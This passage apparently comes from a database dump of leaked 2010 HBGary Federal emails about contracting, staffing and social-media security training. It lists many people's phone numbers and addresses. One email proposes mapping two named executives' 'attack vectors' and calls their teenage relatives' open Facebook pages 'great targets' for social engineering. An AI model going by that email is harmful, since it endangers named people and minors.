NCVHDL VisualElite\r\n> PADS DxDesigner RADAR SCADA Schematic SpyGlass Control\r\n> ADC/DAC/PLL VHDL Cores Airborne Fibre Channel Doppler Documentation AutoCad\r\n> DO 254 Simulink System Generator StateCAD Parallel Proc Medical Consumer\r\n> \r\n> Honors\r\n> Research Assistant, Deans List, EIT, Won Design Engineering Competition\r\n> \r\n> Special\r\n> Toastmasters International Sergeant of Arms\r\n> \r\n',15141,'aaron_hbgary_com/15141.html'),(11434,'2010-09-08','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297008643.M243427P14101Q6289.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media, Exploitation, and Persistent Internet Operations','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow does 9/13 work for you?&nbsp; Want to come for lunch?&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com\r\n| 202-257-2270\r\n\r\n&nbsp;\r\n\r\nFollow @palantirtech\r\n\r\nWatch youtube.com/palantirtech\r\n\r\nAttend Palantir\r\nNight Live\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 10:10 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Social Media, Exploitation, and Persistent Internet\r\nOperations\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure thing, just send me a note. &nbsp;I have never been to\r\nIndia but I can imagine it has to be a bit crazy.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 5, 2010, at 3:02 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVery nice.&nbsp; I might want to attend to check it out, maybe\r\nsee how Palantir could fit into your thinking.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s sync up when I get back from India.&nbsp; This country is\r\nnuts, have you ever been?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFollow&nbsp;@palantirtech\r\n\r\n\r\n\r\n\r\n\r\nWatch&nbsp;youtube.com/palantirtech\r\n\r\n\r\n\r\n\r\n\r\nAttend&nbsp;Palantir Night Live\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, September\r\n01, 2010 2:32 PM\r\nSubject:&nbsp;Social Media,\r\nExploitation, and Persistent Internet Operations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe rise of the social web has created an entirely new set\r\nof useful technologies and security vulnerabilities. &nbsp;It is our experience\r\nthat most individuals and organizations understand there are risks to using\r\nsocial media but don\'t understand the full extent, from what types of use, what\r\nthe real risks are, or how the vulnerabilities can be fully exploited, and how\r\nto effectively protect themselves.\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal has extensive experience in social media technologies, how to\r\nuse these tools effectively, what the risks are to information exposure and\r\nexploitation, and how to more effectively protect yourself and your\r\norganization. &nbsp;We feel this is an area that needs more attention and\r\nunderstanding quickly as the commercial social media platforms provide to much\r\neasy opportunities for threats.\r\n\r\nAttached is our training brochure for our online and in-class social media\r\ntraining programs, 1/2 and full day. &nbsp;We also offer a tailored training\r\nprogram that is preceded by a social media penetration test. &nbsp;The\r\ninformation gathered during the pen test is provided in a before and after\r\ninformation exposure report as well as the information is used to tailor the\r\ntraining program to make it as relevant as possible to the organization.\r\n\r\nVisit our training web page to review and sign up for one of our online\r\ntraining classes or send an email to schedule in-class room training. &nbsp;You\r\ncan also follow us on twitter to receive regular updates &nbsp;or become a fan\r\nof our Facebook page.\r\n\r\nWeb:&nbsp;training.hbgaryfederal.com\r\nTwitter: HBGaryFed\r\nFacebook: HBGary Federal\r\nEmail:&nbsp;training@hbgaryfederal.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2655,'aaron_hbgary_com/2655.html'),(11435,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008643.M589569P14101Q6290.eml','\"Eric Eifert\" <eric.eifert@mantech.com>','E-Discover/Expert Witness','Hey Eric,\r\n\r\nDo you have any folks that have e-discovery/expert witness experience?\r\n\r\nWhat do you think on the Social Media discussion?\r\n\r\nAaron',9307,'aaron_hbgary_com/9307.html'),(11436,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008643.M805016P14101Q6291.eml','\"Shane Shook\" <sdshook@yahoo.com>','Re: E-Discovery','Just talked to the prime for the TSA proposal we are going after. &nbsp;The company that was putting up the person for this position bagged out at the last minute. &nbsp;We will be non-compliant if we don\'t find a qualified candidate for e-discovery, expert witness, chain of custody. &nbsp;Anyone that you might know, even if short term that has these skills we could bring them on and submit them even short term (or long-term) on the contract.Thanks,AaronOn Sep 8, 2010, at 12:13 AM, Shane Shook wrote:Hi Aaron - still traveling, back in Malaysia for a couple of weeks again.&nbsp;I know quite a few people who might be able to help - where do you need the help?&nbsp;- ShaneFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;To:&nbsp;Shane Shook &lt;sdshook@yahoo.com&gt;Sent:&nbsp;Tue, September 7, 2010 7:02:07 PMSubject:&nbsp;E-DiscoveryHi Shane,How was your trip?&nbsp; Turns out everything went great for the Oracle PenTest we conducted.Have a question.&nbsp; By chance you don\'t know anyone with E-discovery experience, TS clearance that would like to consider a contingent offer to work E-discovery for TSA? :)Thanks,Aaron',16206,'aaron_hbgary_com/16206.html'),(11437,'2010-09-08','sdshook@yahoo.com','/aaron@hbgary.com/new/1297008644.M320872P14101Q6293.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: E-Discovery','I reached out to a friend in that geography- will let you know asapSent via BlackBerry from T-MobileFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Wed, 8 Sep 2010 09:48:26 -0400To: Shane Shook&lt;sdshook@yahoo.com&gt;Subject: Re: E-DiscoveryJust talked to the prime for the TSA proposal we are going after. &nbsp;The company that was putting up the person for this position bagged out at the last minute. &nbsp;We will be non-compliant if we don\'t find a qualified candidate for e-discovery, expert witness, chain of custody. &nbsp;Anyone that you might know, even if short term that has these skills we could bring them on and submit them even short term (or long-term) on the contract.Thanks,AaronOn Sep 8, 2010, at 12:13 AM, Shane Shook wrote:Hi Aaron - still traveling, back in Malaysia for a couple of weeks again.&nbsp;I know quite a few people who might be able to help - where do you need the help?&nbsp;- ShaneFrom:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;To:&nbsp;Shane Shook &lt;sdshook@yahoo.com&gt;Sent:&nbsp;Tue, September 7, 2010 7:02:07 PMSubject:&nbsp;E-DiscoveryHi Shane,How was your trip?&nbsp; Turns out everything went great for the Oracle PenTest we conducted.Have a question.&nbsp; By chance you don\'t know anyone with E-discovery experience, TS clearance that would like to consider a contingent offer to work E-discovery for TSA? :)Thanks,Aaron\r\n',10401,'aaron_hbgary_com/10401.html'),(11438,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008644.M62112P14101Q6292.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Social Media Material','Daniel,\r\n\r\nI can do a social map on Walter and Scott showing the information available and potential attack vectors to them personally.  Is that a bit over the top or do you think they would resonate with that.  Based on their social profiles they both seem to be outgoing, social people.  If that seems a bit to close to home I will just back it out a bit and talk generically about using social media as a targeting, social engineering, and attack tool.\r\n\r\nNice thing is both Scott and Walter have FB pages that have their friends list open, very detailed LinkedIn pages.  Social Engineering them would be easy.  They either have kids or nephews in HS with FB pages that are wide open as well (great targets - very socially promiscuous).\r\n\r\nAaron\r\n\r\n\r\nOn Sep 7, 2010, at 12:04 PM, Daniel Collender wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I think that would be excellent.\r\n> \r\n> Can you work with Maria to make sure that time allotted for your\r\n> presentation on the agenda she is working on?\r\n> \r\n> We have two hours planned. The first hour is the high-level APT overview\r\n> with many executives in attendance. The second hour is the solutions\r\n> discussion.\r\n> \r\n> Best,\r\n> Dan\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, September 07, 2010 9:54 AM\r\n> To: Daniel Collender\r\n> Subject: Social Media Material\r\n> \r\n> * PGP - S/MIME Signed: 9/7/2010 at 9:53:54 AM\r\n> \r\n> Daniel,\r\n> \r\n> I think I may be in Colorado early next week and if so was planning on\r\n> coming up to the meeting on Monday to present some social media material if\r\n> that is fine with you.\r\n> \r\n> Aaron\r\n> \r\n> * Aaron Barr \r\n> * Issuer: \"VeriSign\r\n\r\n',14030,'aaron_hbgary_com/14030.html'),(11439,'2010-09-08','\"Upton, Ric\" <rupton@generalcatalyst.com>','/aaron@hbgary.com/new/1297008644.M718656P14101Q6294.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Discussions','Aaron -\r\nGood to hear from you. Since I\'m only doing a day trip today, my schedule is now full. However, I am back in DC the week of Sept 20; specifically Sept 21-23. Are you around and available any of those days? Would be happy to get together then.\r\n\r\nRegards ... Ric\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Tuesday, September 07, 2010 10:08 PM\r\nTo: Upton, Ric\r\nSubject: Re: Discussions\r\n\r\nHey Ric,\r\n\r\nSorry for late reply I was just waiting for a few customer things to settle out.  Where will you be tomorrow?\r\n\r\nAaron\r\n\r\nOn Sep 3, 2010, at 11:53 AM, Upton, Ric wrote:\r\n\r\n> Aaron -\r\n> Good to hear from you. I happen to be back in DC on Weds and could stop by in the early afternoon if you have any time. Otherwise, we\'ll play it by ear on my next trip.\r\n> Look forward to getting together with you and continuing our conversation.\r\n>\r\n> Have a great weekend ... Ric\r\n> --\r\n> Dr. Richard A. Upton\r\n> Executive in Residence\r\n> General Catalyst Partners\r\n> 20 University Road\r\n> Cambridge, MA  02138\r\n> Phone: (617) 234-6002\r\n> Cell: (781) 439-5359\r\n> Email: rupton@generalcatalyst.com\r\n>\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Friday, September 03, 2010 11:29 AM\r\n> To: Upton, Ric\r\n> Subject: Discussions\r\n>\r\n> Hi Rick,\r\n>\r\n> Sorry we have not gotten back to you.  Just got busy.  I would be happy to get together the next time your in town.  Just shoot me a note.\r\n>\r\n> Aaron\r\n\r\n',16511,'aaron_hbgary_com/16511.html'),(11440,'2010-09-08','STEPHCB2@dni.gov','/aaron@hbgary.com/new/1297008644.M913189P14101Q6295.eml','aaron@hbgary.com','Meeting with Director of IARPA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSir,\r\n\r\n&nbsp;\r\n\r\nIn preparation for your meeting with the director on Friday,\r\nwould you please forward, to me, any read ahead information?\r\n\r\n&nbsp;\r\n\r\nAlso, please provide your biography to me by 2:00PM\r\ntomorrow.\r\n\r\n&nbsp;\r\n\r\nIf you have any questions please give me a call.\r\n\r\n&nbsp;\r\n\r\nThank you,\r\n\r\n&nbsp;\r\n\r\nStephanie C. Blackwood\r\n\r\nDirector\'s Office, IARPA\r\n\r\nhttp://www.iarpa.gov\r\n\r\n301-851-7477 UNCLASS Office\r\n\r\n571-318-2575 UNCLASS Mobile\r\n\r\n301-851-7672 UNCLASS Fax\r\n\r\n917-7477 SECURE Office\r\n\r\n301-851-7679 SECURE Fax\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1714,'aaron_hbgary_com/1714.html'),(11441,'2010-09-08','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008645.M720453P14101Q6296.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: SSC PAC Cyber Warfare (Pre-award Status & Contract Planning Meeting)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny, Aaron and Ted,\r\n\r\n&nbsp;\r\n\r\nAbout a year ago HBGary participated on the GD-AIS team for this\r\nSPAWAR opportunity.&nbsp; It has both offensive and defensive elements.&nbsp;\r\nThey think the award announcement will happen in October and they think they\r\nwill be selected (there may be multiple awards).&nbsp; HBGary is a tier-1 partner,\r\nso there could be significant participation for us.&nbsp; They have invited us\r\nto a pre-award planning meeting in San Diego 9/30-10/1.&nbsp; When I sent an\r\nemail asking why they would hold this meeting before being selected for award,\r\nI got the following reply:\r\n\r\n&nbsp;\r\n\r\n&#8220;This meeting is prep for our expected award. As this is an\r\nIDIQ, we are working with the team to align work and help to shape TTOs that we\r\nwill bid as a team. The award announcement is currently expected in October.&#8221;\r\n\r\n&nbsp;\r\n\r\nDo we want to send anybody to this meeting?&nbsp; I haven&#8217;t\r\nspoken with them about involving HBGary Federal yet.\r\n\r\n&nbsp;\r\n\r\nAttached is a powerpoint about the meeting and a capabilities\r\nmatrix I had sent them.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Holtmann, Vincent\r\nA. [mailto:Vincent.Holtmann@gd-ais.com] \r\nSent: Tuesday, September 07, 2010 10:23 PM\r\nTo: Ebber@avi.com; Kevin Estrem; Murphy, Marc (US - Charlotte); Smith,\r\nTimothy-P65114 (EXT) (GDC4S); Long, John P; carl.houghton@issinc.com; Beck,\r\nBob; Autry, Tim; Dan Roberts; Elijah Sutton; Mike Smith; Adam Stotz; Dave\r\nAtherton; robert_labella@minervaengineering.com; jmathis@ndti.net;\r\nsbodmer@savidcorp.com; Lynn Lehman; Lee Krause; wbrew@simulexinc.com; Alok\r\nChaturvedi; mgotte@wareonearth.com; Roger Webb; james.mulvenon@defensegp.com;\r\n\'Bob Slapnik\'; Jeffrey Carr; Jondi_Bernardo@McAfee.com; Mike Sulek;\r\nsleanheart@telcordia.com; richard.tillery@vissllc.com; gproctor@atcorp-dc.com;\r\njim.burton@cataphora.com; Jeffrey Morgan; Jacobson, Ron; Dietz, James Eric;\r\ntgrabowski@netezza.com; Wendy Yee\r\nCc: Valdez, George G.; Rabideau, Tim J.; Carron, Brian E.; Martin,\r\nRobert Z.; Jaeger, James A.\r\nSubject: SSC PAC Cyber Warfare (Pre-award Status &amp; Contract Planning\r\nMeeting)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,&nbsp;\r\nPlease review the attached slide deck for our SSC PAC Cyber Warfare meeting\r\ndetails.&nbsp; We understand that not everyone will be able to attend, but\r\nwanted to ensure that all exclusive team members are invited. For those unable\r\nto attend, meeting notes will be taken and distributed to the team.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nActions\r\n\r\n\r\n\r\n\r\n Select\r\n     Yes or No for your attend so we can get a head count\r\n Let\r\n     me know if you have any questions\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLook\r\nforward to all that can make the trip!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nVince\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nVincent\r\nA. Holtmann\r\n\r\nGeneral\r\nDynamics Advanced Information Systems \r\n3133\r\nGeneral Hudnell, Ste. 300\r\n\r\nSan\r\nAntonio, TX 78226\r\nOffice (210) 932-5522\r\nMobile (210) 792-8088 \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/07/10\r\n14:43:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15492,'aaron_hbgary_com/15492.html'),(11442,'2010-09-08','\"Pugsley, Brandon\" <brandon.pugsley@lmco.com>','/aaron@hbgary.com/new/1297008645.M986447P14101Q6297.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL: Update from Ted','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWanted to get a quick reply to you.&nbsp; I am working my schedule to\r\nclarify the remainder of this week (Thurs or Friday afternoon).&nbsp; For next week\r\nMonday or Friday afternoon works reasonably well.&nbsp; How does this align with\r\nyour availability?\r\n\r\n&nbsp;\r\n\r\nBrandon\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 10:09 PM\r\nTo: Pugsley, Brandon\r\nCc: Ted Vera\r\nSubject: Re: EXTERNAL: Update from Ted\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Brandon,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen are some good dates and times for you?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 3, 2010, at 1:38 PM, Pugsley, Brandon wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI would be happy to meet with Aaron.\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera\r\n[mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, September\r\n03, 2010 1:21 PM\r\nTo:&nbsp;Pugsley, Brandon\r\nCc:&nbsp;Barr Aaron\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr (cc\'d) is our CEO, and he\'s located in McLean VA.\r\n&nbsp;I\'d like to hand you over to him, and perhaps you two can set up a\r\nface-to-face discussion. &nbsp;Does that sound alright to you?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 11:00 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m located in\r\nHerndon, VA and have some flexibility.\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, September\r\n03, 2010 12:44 PM\r\nTo:&nbsp;Pugsley, Brandon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo problem Brandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI just got back from two weeks of back-to-back travel and\r\nplan to be in the office (Colorado Springs) most of this month. &nbsp;Where are\r\nyou physically located?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHope you have a nice long weekend too.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Sep 3, 2010 at 10:41 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI apologize for\r\nthe length of time it has taken me to get back to you.&nbsp; I would like to\r\nfollow-up with you, perhaps meet, and discuss some of the overarching trends\r\nyou are seeing in the community.&nbsp; I have read and digested the whitepapers\r\nthat you provided, and agree with many of your assessments.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know how\r\nyour schedule looks, and have a good Labor Day weekend.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, July 30,\r\n2010 11:29 AM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;Pugsley, Brandon\r\nCc:&nbsp;Mcculloch, Scott D\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Brandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis week HBGary presented\r\nour new Fingerprint application at\r\nBlackhat. &nbsp;Fingerprint examines tool-marks left in executables and\r\nuses them to create a signature that can help with malware attribution\r\nand lineage -- ie finding the bad guys. &nbsp;We released Fingerprint as a\r\nfree download, including the source-code, so organizations can tailor\r\nit to their unique mission and help advance the technology. &nbsp;We have\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nlots of ideas on how this\r\ntechnology can be used in a big way to help\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nthe cyber fight. &nbsp;I look\r\nforward&nbsp;to discussing future teaming opportunities.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYou can download and find out more about our Fingerprint tool here:\r\nhttp://www.hbgary.com/community/free-tools/\r\n\r\nYou can read more about our Blackhat talk here:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 23, 2010 at 9:40 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLikewise!&nbsp;\r\nScott did send me the whitepapers.&nbsp; Let me get a look and see what\r\ntechnical folks/activities tie in.&nbsp; I&#8217;m working across some of the broader\r\ninitiatives, and your team&#8217;s expertise is well beyond my depth.&nbsp; I look\r\nforward to learning more about what you are working to accomplish, and seeing\r\nif we can leverage it appropriately.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nBrandon\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrandon Pugsley\r\n\r\n\r\n\r\n\r\n\r\nInformation\r\nSystems &amp; Global Services-Security\r\n\r\n\r\n\r\n\r\n\r\nBusiness\r\nDevelopment, Advanced Programs\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\n703.466.2788\r\n\r\n\r\n\r\n\r\n\r\nCell\r\n703-999-9162\r\n\r\n\r\n\r\n\r\n\r\nPager\r\n800-200-5295\r\n\r\n\r\n\r\n\r\n\r\nbrandon.pugsley@lmco.com\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.gif&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, July 23,\r\n2010 11:18 AM\r\nTo:&nbsp;Pugsley, Brandon\r\nCc:&nbsp;Mcculloch, Scott D\r\nSubject:&nbsp;Re: EXTERNAL:\r\nUpdate from Ted\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Brandon,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNice to virtually meet you. &nbsp;Did Scott attach the\r\nwhitepapers? &nbsp;If not, I can resend. &nbsp;What areas of Cyber are you\r\nfocused on.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Jul 23, 2010 at 6:45 AM, Mcculloch, Scott D &lt;scott.d.mcculloch@lmco.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\nGoo dto hear from you. And no I have not got on facebook yet.\r\n\r\nOn the CC line is Brandon, he is working some LM initiatives that could have\r\nsome relevance to your companies capabilities.\r\n\r\nScott D. McCulloch\r\nBusiness Development - Capture Excellence Lockheed Martin IS&amp;GS - Security\r\n571-246-3148 (Cell)\r\n703-466-2315 (Office)\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, July 14, 2010 5:12 PM\r\nTo: Mcculloch, Scott D\r\nSubject: EXTERNAL: Update from Ted\r\n\r\nHi Scott,\r\n\r\nHow\'s it going? &nbsp;Did you ever get up on Facebook?\r\n\r\nI\'m trying to drum up some business, and I thought you might be interested in\r\nwhat I\'ve been up to for the last six months or so. &nbsp;I run a small\r\nsoftware development and services company, HBGary. &nbsp;We specialize in all\r\nthings related to malware. &nbsp;Greg Hoglund is our CEO and founded the\r\ncompany in 2003. &nbsp;Greg is an accomplished author, world recognized leader\r\nin rootkit technology and was recently named one of &quot;10 hackers to\r\nknow&quot; in Network Security magazine. &nbsp;We offer a number of Cyber\r\nservices including malware reverse engineering, vulnerability research, exploit\r\ndevelopment, incident response, penetration testing, and digital forensics.\r\n&nbsp;We also have a mature product-line of 